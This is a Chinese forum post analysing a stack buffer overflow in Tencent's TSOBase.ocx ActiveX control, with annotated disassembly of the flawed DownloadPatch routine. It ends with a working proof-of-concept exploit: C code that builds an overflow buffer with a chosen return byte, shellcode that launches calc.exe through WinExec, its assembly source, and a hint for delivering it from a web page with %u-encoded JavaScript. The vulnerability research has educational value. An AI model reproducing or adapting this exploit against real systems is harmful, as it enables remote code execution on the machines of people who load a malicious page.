软件文件:TSOBase.ocx
软件名称:
Tencent Online Safety Center
软件描述:
腾讯在线安全检查控件
软件版本:
2006, 12, 20, 4
测试平台:
VC6+xp sp1

申明:
     本文章只作学习与交流用,一切使用后果自行负责

看学改名后,好长时间没有来转了,五一有时间,写一篇来灌下水.也不知道这个算不算软件安全方面.

控件TSOBase.ocx(有UPX壳)的一个接口函数
BOOL CTSOClean::DownloadPatch(LPCTSTR lpszBuildIDs)
{
  BOOL result;
  static BYTE parms[] =
    VTS_BSTR;
  InvokeHelper(0xf, DISPATCH_METHOD, VT_BOOL, (void*)&result, parms,
    lpszBuildIDs);
  return result;
}
存在栈溢出漏洞.

函数的字符串需要经过MultiByteToWideChar,WideCharToMultiByte的转化处理
因此在调用该控件的软件(俺的是test.exe)上下WideCharToMultiByte(函数的开始处)断点
处理完后经过几步调用会来到下面的处理过程中,进入时,堆栈的状态如下:
high
_____________
|   ....     | 
|转换字符偏移|10001ea0
|函数返回EIP |<-当前esp
low

10004790   sub esp,108                          esp<- esp-108h (临时变量存储空间)       
10004796   push ebx                             esp<- esp-4 
10004797   push ebp          esp<- esp-4
10004798   mov ebp,dword ptr ss:[esp+114]       ebp<- 转换字节指针偏移
1000479F   xor ebx,ebx
100047A1   push esi                             esp<- esp-4
100047A2   cmp ebp,ebx                          判断是否为空指针
100047A4   push edi          esp<- esp-4
100047A5   mov dword ptr ss:[esp+10],ecx        
100047A9   je TSOBase.10004914
100047AF   mov edi,ebp
100047B1   or ecx,FFFFFFFF
100047B4   xor eax,eax
100047B6   repne scas byte ptr es:[edi]
100047B8   not ecx
100047BA   dec ecx                              判断字符长度(<1)
100047BB   je TSOBase.10004914               
100047C1   mov ecx,40
100047C6   lea edi,dword ptr ss:[esp+15]
100047CA   mov byte ptr ss:[esp+14],al         1字节清零
100047CE   xor esi,esi
100047D0   rep stos dword ptr es:[edi]         40h*4字节清零
100047D2   stos word ptr es:[edi]              2字节清零
100047D4   stos byte ptr es:[edi]              1字节清零
100047D5   mov edi,ebp                         (esp+14h--esp+118h)共104h字节
100047D7   or ecx,FFFFFFFF
100047DA   xor eax,eax
100047DC   mov dword ptr ds:[1006C654],ebx
100047E2   repne scas byte ptr es:[edi]
100047E4   not ecx
100047E6   dec ecx
100047E7   inc ecx                             获取经转换字符长度      
100047E8   je TSOBase.10004914
100047EE   mov dl,byte ptr ds:[ebx+ebp]        读取每字节转换字符
100047F1   cmp dl,7C                           判断字符是否为'|'
100047F4   je short TSOBase.10004819           是则把前面保存(esp+14h--esp+118h)的清零,
100047F6   mov edi,ebp                         从转换字符的下一个字符开始处理
100047F8   or ecx,FFFFFFFF                     
100047FB   xor eax,eax
100047FD   repne scas byte ptr es:[edi]
100047FF   not ecx
10004801   dec ecx
10004802   cmp ebx,ecx                        判断是否处理完毕
10004804   je short TSOBase.10004819
10004806   cmp esi,104                        判断保存字符长度是否大于104h
1000480C   jg TSOBase.10004914                大于结束          
10004812   mov byte ptr ss:[esp+esi+14],dl    拷贝字符进入上面清零的空间(esp+14h--esp+118h)
10004816   inc esi                            上面这里是溢出的关键原因, 当计数到104h字节时,
10004817   jmp short TSOBase.10004890         由于没有进行严格的处理,导致还能拷贝第105h字节
10004819   mov eax,dword ptr ds:[1006C650]    即mov byte ptr ss:[esp+118],dl 而esp+118正是
1000481E   xor esi,esi                        返回函数EIP保存的栈空间, 覆盖一字节后会导致跳转到其他空间
10004820   test eax,eax
10004822   jle short TSOBase.10004881
10004824   mov ebp,TSOBase.1001F664
10004829   mov edi,ebp
1000482B   or ecx,FFFFFFFF
1000482E   xor eax,eax
10004830   repne scas byte ptr es:[edi]
10004832   not ecx
10004834   dec ecx
10004835   lea eax,dword ptr ss:[esp+14]
10004839   push ecx
1000483A   push ebp
1000483B   push eax
1000483C   call dword ptr ds:[1001A50C]     ; msvcrt.strncmp
10004842   add esp,0C
10004845   test eax,eax
10004847   je short TSOBase.1000485B
10004849   mov eax,dword ptr ds:[1006C650]
1000484E   inc esi
1000484F   add ebp,268
10004855   cmp esi,eax
10004857   jl short TSOBase.10004829
10004859   jmp short TSOBase.1000487A
1000485B   lea ecx,dword ptr ds:[esi+esi*8]
1000485E   lea edx,dword ptr ds:[esi+ecx*2]
10004861   lea eax,dword ptr ds:[esi+edx*4]
10004864   mov dword ptr ds:[eax*8+1001F774>
1000486F   mov eax,dword ptr ds:[1006C654]
10004874   inc eax
10004875   mov dword ptr ds:[1006C654],eax
1000487A   mov ebp,dword ptr ss:[esp+11C]
10004881   xor esi,esi
10004883   mov ecx,41
10004888   xor eax,eax
1000488A   lea edi,dword ptr ss:[esp+14]
1000488E   rep stos dword ptr es:[edi]
10004890   mov edi,ebp
10004892   or ecx,FFFFFFFF
10004895   xor eax,eax
10004897   inc ebx
10004898   repne scas byte ptr es:[edi]
1000489A   not ecx
1000489C   cmp ebx,ecx                           判断转换是否处理完毕字符
1000489E   jb TSOBase.100047EE                   否继续进行处理
100048A4   mov eax,dword ptr ds:[1006C654]
100048A9   xor edi,edi
100048AB   cmp eax,edi
100048AD   je short TSOBase.10004914
100048AF   mov esi,dword ptr ss:[esp+10]
100048B3   mov ecx,esi
100048B5   call TSOBase.10004930
100048BA   mov ecx,dword ptr ds:[1006C654]
100048C0   push edi
100048C1   push edi
100048C2   push esi
100048C3   push TSOBase.100049A0
100048C8   mov dword ptr ds:[esi+8610],ecx
100048CE   mov dword ptr ds:[esi+8614],edi
100048D4   mov dword ptr ds:[esi+8618],-1
100048DE   push edi
100048DF   mov dword ptr ds:[1006C658],edi
100048E5   push edi
100048E6   mov dword ptr ds:[esi+86B4],edi
100048EC   mov dword ptr ds:[esi+86B8],edi
100048F2   call dword ptr ds:[1001A058]     ; kernel32.CreateThread
100048F8   xor edx,edx
100048FA   cmp eax,edi
100048FC   mov dword ptr ds:[esi+86B0],eax
10004902   pop edi
10004903   setne dl
10004906   pop esi
10004907   pop ebp
10004908   mov eax,edx
1000490A   pop ebx
1000490B   add esp,108
10004911   retn 4
10004914   pop edi
10004915   pop esi
10004916   pop ebp
10004917   xor eax,eax
10004919   pop ebx
1000491A   add esp,108
10004920   retn 4                               错误返回
由上面的分析可以知道, 进入该处理函数后,函数分配了108h+4+4+4+4=118h的栈空间作为临时数据的存储空间
而在处理转换后的字符串时,从ESP+14开始进行字符的临时保存.当转换后的字符长度超过104字节时,第105字节
会覆盖到esp+118处, 正好这里是函数返回的地址.要成功利用该漏洞需要把其转换到执行RETN指令的地址我直接
选择了(10001ec5)所以第105个字节的值需为(0xc5)
现在看一下10004920处堆栈的的情况
high
________________
+   ……        +
|  0x16498C     |    转换字符串地址 ----- 4
+  0x73D4436C  +   MFC42.73D4436C(应该是InvokeHelper) ----3
|  0x16498C     |    转换字符串地址 ----- 2
+  0x10001ec5   +   转换字符串地址 ----- 1
-----------------------
low
执行 retn 4 后会返回到1(0x10001ec5)执行,esp->3, 执行完1后,会继续返回到3处执行,此时esp->4,执行完3
就进入到我们的指令地址.指令编码要注意UNICODE转换对字符的处理,防止指令编码不能正确还原
CTestDlg::test()
{
  char * code="\x33\xc0\x50\x68\x2e\x65\x78\x65"
      "\x68\x63\x61\x6c\x63\x54\x5e\x6a"
      "\x01\x56\x05\x12\x55\x51\x22\x05"
      "\x12\x60\x51\x22\x05\x11\x48\x42"
      "\x33\xff\xd0\x5f\x5f\x5f\x00";
  char shellcode[0x120];
  memset(shellcode, 0x90, 0x120);
  memcpy(shellcode, code, strlen(code));
  shellcode[0x103]='\xc3';
  shellcode[0x104]= '\xc5';
  shellcode[0x105]= '\xc5';
  shellcode[0x108]= '\x00';
   m_tencent.DownloadPatch((LPCTSTR)(shellcode));
}
上面的code 由下面的产生就是执行WinExec(calc.exe, SW_NORMAL);
void  printfshellcode()
{
  goto print;
label:__asm
  {
    xor eax,eax
    push eax          
    push 06578652eh  ;calc.exe
    push 0636c6163h
    push esp
    pop esi
    push 1
    push esi
    add eax,022515512h ;add eax,077e4fd35h WinExec()的地址
    add eax,022516012h ;避免UNICODE编码的影响
    add eax,033424811h
    call eax
    pop edi
    pop edi
    pop edi
    _EMIT 00h
  }
print:
  unsigned char *p;
  int len = 0;
  __asm 
  {
    lea ebx, label
    lea eax, print
    mov p,ebx
    sub eax, ebx
    mov len, eax
  }
  for(int i=0; i<len;i++)
  {
    if (!(i&0x7))
      printf("\"\n\"");
    printf("\\%02x",p[i]);
  }
  printf("\"\n");
}
网页中用js时需要把shellcode转换为UNICODE的编码,使用MultiByteToWideChar 每字加%u使用.
给初学者看下, 大家一起学习.